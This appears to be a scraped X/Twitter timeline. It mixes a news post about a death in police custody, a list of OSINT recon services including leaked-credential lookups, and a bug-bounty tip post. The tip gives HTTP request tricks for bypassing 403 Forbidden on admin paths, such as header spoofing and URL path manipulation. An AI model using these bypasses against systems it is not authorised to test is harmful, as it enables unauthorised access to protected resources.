redhat

[Visegrád 24 @visegrad24]

In his final moments, Henry Nowak told police officers nine times “I can’t breathe” and four times that he had been stabbed.

In response police officer dragged him across the gravel, handcuffed and read him his rights.

It was the last thing Henry heard before he died.

[Vivek | Cybersecurity @VivekIntel]

🛡️ 𝗛𝗮𝗰𝗸𝗲𝗿 𝗦𝗲𝗮𝗿𝗰𝗵 𝗘𝗻𝗴𝗶𝗻𝗲𝘀 (𝗢𝗦𝗜𝗡𝗧)

🌐 Infra
• Shodan — Find exposed devices
https://t.co/uZqnFkLpOf
• Censys — Internet-wide asset view
https://t.co/VSbqN7K31M
• FOFA — Asset discovery
https://t.co/ZVydIZ2LPR
• ZoomEye — Attack surface mapping
https://t.co/8jtbYk04im

📧 Identity
• Hunter — Find emails
https://t.co/sXAmIJaU1X
• HaveIBeenPwned — Breach check
https://t.co/iL0M6fu4gt
• Dehashed — Leaked credentials
https://t.co/mMofF6fHRk

💻 Web / Code
• URLScan — Analyze websites
https://t.co/sHXx3lh8UD
• https://t.co/pIzA6J46tV — Search code
https://t.co/jNPOd8vUId
• https://t.co/Wq6vs1a63O — SSL cert lookup
https://t.co/i61TlduAht

🔐 Vulns
• Vulners — Vulnerability DB
https://t.co/DwfUeqDBOe
• GreyNoise — Filter attack noise
https://t.co/NkcWev7wJn
• FullHunt — Attack surface
https://t.co/lwxZ7NatuW

📡 OSINT
• WiGLE — WiFi mapping
https://t.co/3W7nMT0UPD
• IntelX — Deep data search
https://t.co/rbPeK1kplP
• LeakIX — Exposed data
https://t.co/EyWCDrlLH2
• SecurityTrails — DNS/IP data
https://t.co/F4p3wkYZEO

💡 Tip: SpiderFoot — automate recon
https://t.co/Saomat6UW8

#OSINT #CyberSecurity

[X @TheMsterDoctor1]

# Bypass 403 (Forbidden)

1. Using "X-Original-URL" header
```
GET /admin HTTP/1.1
Host: https://t.co/axAPlulNpQ
```
Try this to bypass
```
GET /anything HTTP/1.1
Host: https://t.co/axAPlulNpQ
X-Original-URL: /admin
```

2. Appending **%2e** after the first slash
```
https://t.co/KeR304da2D => 403
```
Try this to bypass
```
https://t.co/fT7ttSQu0B => 200
```

3. Try add dot (.) slash (/) and semicolon (;) in the URL
```
https://t.co/KeR304da2D => 403
```
Try this to bypass
```
https://t.co/ECfwkvjEsm. => 200
https://t.co/9417WVYC0w => 200
https://t.co/JQSsH7pVm5.. => 200
https://t.co/SLztk2ku92 => 200
https://t.co/HOG8yEoDia => 200
https://t.co/FaFPWI4ulx => 200
```

4. Add "..;/" after the directory name
```
https://t.co/KeR304da2D
```
Try this to bypass
```
https://t.co/NJhGf2oXer
```

5. Try to uppercase the alphabet in the url
```
https://t.co/KeR304da2D
```
Try this to bypass
```
https://t.co/gFVprtQvkM
```

6. Via Web Cache Poisoning
```
GET /anything HTTP/1.1
Host: https://t.co/OL2DcCSZTZ
X­-Original-­URL: /admin
```

## Tools
* [Bypass-403 | Go script for bypassing 403 forbidden](https://t.co/wpweZd4Ut1)

## References
- [Hacktricks](https://t.co/zucvAIkQqA)
#BugBounty #bugbountytip #403 #bugbountytips #hackerone

[redhat @RedHat503]

@RootMoksha Nice

[redhat @RedHat503]

@bigboyfunx Look good

[redhat @RedHat503]

@burrytracker Sure, trust me bro

[Detectify @detectify]

#APIs are everywhere.

tl;dr:
🔎 API vuln types
🚧 Mitigation techniques
🛸 Conspiracy theory

Check out this guide to hacking APIs in 2021 by @hakluke and @Farah_Hawaa ⬇️ https://t.co/LhNpia5Drg